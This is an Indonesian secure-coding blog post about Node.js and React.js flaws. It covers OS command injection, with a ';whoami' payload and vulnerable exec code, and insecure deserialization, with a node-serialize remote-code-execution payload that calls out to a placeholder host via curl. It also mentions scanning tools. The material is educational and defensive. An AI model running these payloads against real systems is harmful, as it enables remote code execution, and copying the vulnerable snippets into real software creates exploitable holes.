Secure Coding Node.Js & React.Js Vulnerability

Halo kawan-kawan pada kesempatan ini kita akan membahas mengenai Source Code Review & Secure Coding (Node.Js & React.Js) dimana pada Node.Js maupun React.Js memiliki beberapa kerentanan diantaranya adalah OS Command Injection maupun Insecure Deserialization , cukup beresiko bukan bagi teman-teman yang memakai Node.Js maupun React.Js.

Sebelum memasuki tentang pembahasan utama dalam artikel ini ada baiknya kita pahami dulu apa itu Secure Coding , sebagian besar letak kerentanan pada suatu aplikasi ataupun program adalah pada sebuah kode seperti kurang ataupun errornya kode yang dimilikinya dan beruntungnya beberapa kerentanan tersebut dapat kita mitigasi dengan mengikuti standar dari Secure Coding seperti OWASP maupun SEI Cert, ada beberapa komponen penting Secure Coding :

Lah?

Setelah sedikit memahami tentang Secure Coding , berikutnya mari kita pahami beberapa vulnerability yang ada pada Node.Js dan React.Js , seperti yang kita tau Node.Js dan React.Js adalah suatu hal yang berbeda namun tetap satu yaitu javascript , dan perbedaanya adalah React.Js itu library javascript untuk user interface atau frontend, sedangkan Node.Js adalah sebuah runtime javascript yang di buat dari v8 engine-nya chrome, dengan Node.Js kita tidak hanya dapat menulis program javascript untuk client-side saja, kita dapat menulis program server-side, membuat aplikasi desktop/mobile, IOT, dll.

Karena sama-sama dari javascript kemungkinan besar memiliki vulnerability yang sama seperti OS Command Injection dan Insecure deserialization .

OS Injection

Lah?

Kerentanan ini dapat terjadi ketika aplikasi menerima input pengguna yang tidak aman dan menggunakannya sebagai parameter untuk perintah sistem operasi. Tujuan dari serangan command Injection adalah untuk memanipulasi perintah yang sah sehingga penyerang dapat menjalankan perintah sewenang-wenang terhadap sistem operasi. Input ini dapat berasal dari sumber yang dapat dimodifikasi pengguna, seperti formulir, cookie, header HTTP, dan sebagainya.Sedikit contoh bagaimana cara exploit dan cara patch dari bug tersebut di Node.Js

Exploit

Apabila ada sebuah inputan yang disediakan untuk pengguna ke ping tanpa adanya filter apapun dan menjalakannya menggunakan metode exec yang dapat melakukan RCE dengan payload tertentu maka kemungkinan kerentanan tersebut dapat tereksekusi seperti command berikut yang dapat mengeksekusi command whoami

surabayahackerlink.org; whoami

sedikit tambahan adapun Source Code Review yang berguna untuk menganalisa sebuah source code untuk mencari kerentanan pada suatu aplikasi yang kemungkinan besar dapat melakukan exploitasi hanya dari analisa sebuah code seperti menemukan sebuah file route(/routes/app.js) dengan vulnrable code seperti berikut

router.route('/ping')
.get(authenticateToken, vuln_controller.ping_get)
.post(authenticateToken, vuln_controller.ping_post);

dan controller(/controllers/vuln_controller.js) dengan vulnrable code seperti berikut

const ping_post = (req, res) => {
    const ping = req.body.ping;
    const ping1 = req.body.ping1;
    if (ping) {
        exec('ping -c 3 ' + req.body.ping, function (err, stdout, stderr) {
            output = stdout + stderr;
            res.render('ping', {
                output: output,
                pingoutput: null
            });
        });
    }

lalu untuk patchnya bagaimana?

Gunakan package child_process dengan metode execFile yang memulai program tertentu dan mengambil array sebagai argumen.

ada tambahan nih buat teman-teman disini kita akan menggunakan tools automate untuk melakukan scanning vulnerability pada suatu source code yaitu dengan Betterscan.Tools ini open source, teman-teman bisa menginstalnya dan membuat project baru dengan repo github source code milik teman-teman seperti berikut

Lah?

setelah itu klik continue dan tunggu beberapa saat sampai ada laporan issues atau kerentanan yang ada pada source code dan bisa juga view file letak kerentanan tersebut seperti berikut

Lah?

Insecure Deserialization

Lah?

Serialization adalah proses mengubah objek menjadi aliran byte untuk menyimpan objek atau mengirimkannya ke memori, database, atau file. Tujuan utamanya adalah untuk menyimpan keadaan suatu objek agar dapat membuatnya kembali saat dibutuhkan. dan proses sebaliknya Serialization disebut deserialization.sebagai contoh menggunakan Node.Js yang serialize dengan method unserialize untuk mengurai cookie,dan tujuannya untuk mendapat RCE

Exploit

Buat payload serialized menggunakan module node-serialize

// SHL.js
var serialize = require('node-serialize')


// ganti dengan websitemu.com untuk menerima callback
var payload = {payload: function(){require('child_process').exec('curl yourwebsite.com', function(error, stdout, stderr){console.log(stdout)})}} callback


console.log(serialize.serialize(payload))

simpan file code tersebut dan coba jalankan maka nanti akan mendapatkan payload serialized seperti berikut

> node SHL.js
{"payload":"_$$ND_FUNC$$_function(){require('child_process').exec('curl yourwebsite.com', function(error, stdout, stderr){console.log(stdout)})}"}

dan disini kita akan memiliki payload yang dapat dideserialisasi menggunakan function unserialize() namun kode tersebut tidak akan berjalan apabila kita tidak mengeksekusi function dengan payload yang sesuai , maka untuk melakukannya kita dapat menggunakan function expression untuk memanggil function tersebut dengan menambahkan () dibelakang function,seperti payload berikut

{"payload":"_$$ND_FUNC$$_function(){require('child_process').exec('curl yourwebsite.com', function(error, stdout, stderr){console.log(stdout)})}()"}

sekarang coba ganti suatu cookie dengan payload tersebut di request POST pada /save-preference dan nanti kita akan menerima request callback di server attacker. sedikit review sebuah code seperti vulnrable code berikut pada Route (/app/routes.js)

router.post('/save-preference', authenticateToken, vuln_controller.save_preference_post)

dan juga pada controller (/controllers/vuln_controller.js)

const save_preference_post = (req, res) => {
    const preference = serialize.unserialize(req.cookies.preference);
    res.send(preference);
}

yang menggunakan metode request POST dengan enpoint /save-preference dan injection point pada cookie

XSS

ada tambahan referensi vulnerability lagi nih buat temen-temen jadi selain kerentanan OS command injection dan insecure deserialization adapun lainnya kerentanan lainnya seperti XSS ini dan disini kita akan memakai Retire.js untuk mempermudah mencari kerentanan XSS pada Node.Js maupun React.Js seperti berikut

Lah?

Jadi itulah hal yang bisa dibagikan mengenai Secure Coding Node.Js & React.Js Vulnerability. Semoga dapat memberikan manfaat bagi para pembaca dan bisa dipergunakan ilmunya dengan baik.

Buat kalian yang ingin tau lebih lanjut mengenai bagaimana cara melakukan patch pada kerentanan yang dimiliki Node.Js & React.Js tersebut , ada sharing session yang akan membahas Secure Coding Node.Js & React.Js Vulnerability , informasi lebih lanjut ada di link berikut.

Ditulis dengan ❤️ oleh Surabaya Hacker Link